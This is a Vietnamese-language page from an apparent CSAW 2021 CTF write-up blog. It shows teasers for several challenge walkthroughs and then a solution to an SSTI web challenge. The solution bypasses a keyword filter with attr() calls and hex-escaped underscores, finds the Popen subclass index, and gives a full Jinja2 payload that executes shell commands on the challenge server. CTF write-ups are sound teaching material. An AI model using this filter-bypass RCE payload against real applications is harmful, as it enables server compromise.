csaw21-ctf

Search for a command to run...

No comments yet. Be the first to comment.
Docker Docker là gì? Docker là gì? Docker là nền tảng sử dụng để phát triển, đóng gói và chạy ứng dụng. Về cơ bản, Docker sử dụng công nghệ Container hóa để cô lập các ứng dụng và tách nó ra khỏi hạ tầng sử dụng, bằng cách này thì việc triển khai và ...
Walkthrough Đề bài đưa ra một Source code bao gồm hàm bị mật mã hóa (encrypt) và một đoạn thông báo(message) đã bị mật mã hóa. Về cơ bản đoạn mã hóa này chỉ sử dụng toán học và mã hóa (encoding) để sinh ra bản mã(cipher text). def encryption(msg): ...
Tóm tắt Đây lại là một bài Whitebox, cần một chút hiểu biết(đã từng làm) về các lỗ hổng khác để có thể hoàn thành bài. Điểm đang chú ý nhất là việc lỗi dẫn đến lỗ hổng SSRF ở bài này là việc chuyển đổi từ String tới bytes có thể dẫn tới lỗ hổng. Wa...

Tóm tắt Đây một bài Blackbox cần quan sát thêm ở các thông tin đưa ra là có thể nhận ra. Vector attack ở bài này liên quan tới SSTI (sever side template injection) khi cho phép người dùng tùy ý điều khiển ở một số page tưởng như vô hại dẫn đến RCE. W...

Tóm tắt Bài này tiếp tục là một bài Whitebox. Lỗi đến từ việc sử dụng thư viện có lỗ hổng ở đây là Pillow. Walkthrough Nói sơ qua về Web thì đây là một Web cho phép upload ảnh là tập hợp chúng lại thành một ảnh Gif Xem qua một chút source thì có du...

Đầu tiên, khi vào chúng ta có duy nhất một URL dẫn đến một Page. Page này cho phép ta nhập tên và render ra lời chào tới tên đó. Lỗ hổng dễ nhận ra đó là SSTI tương tự bài Templated.

Cách exploit tương tự bài Templated ở trên tuy nhiên, chúng ta bị filter các keyword cho là nguy hiểm...

Vậy là chúng ta bị filter _ và base. Cần tìm được cách bypass được các filter này. Mình tìm được bài này và bài này. Nên chúng ta có các quy tắc thay thế sau:
attr() để gọi các attribute của tham số.| tương tự pipeline._ được thay thế bằng \x5f__getitem()__ thay cho [ ]Và do từ khóa base bị filter nên đương nhiên ta sẽ dùng qua MRO.

Ở bài Templated thì mình có dùng slice để tìm được class Popen nhanh nhưng ở đây tìm phép thay thế có vẻ mất thời gian nên mình có học theo bài trên medium là dùng Python để tìm index bằng cơm :v
file = open("lol.txt", "r")
lst = file.read().split(",")
for index, value in enumerate(lst):
if value.find("Popen") != -1:
print(index, value)
Tìm được index rồi thì pass tham số vào thôi!
Payload đầy đủ sẽ như sau
http://web.chal.csaw.io:5000/submit?value={""|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")(2)|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(258)("cat flag.txt",shell=True,stdout=-1)|attr("communicate")()}}
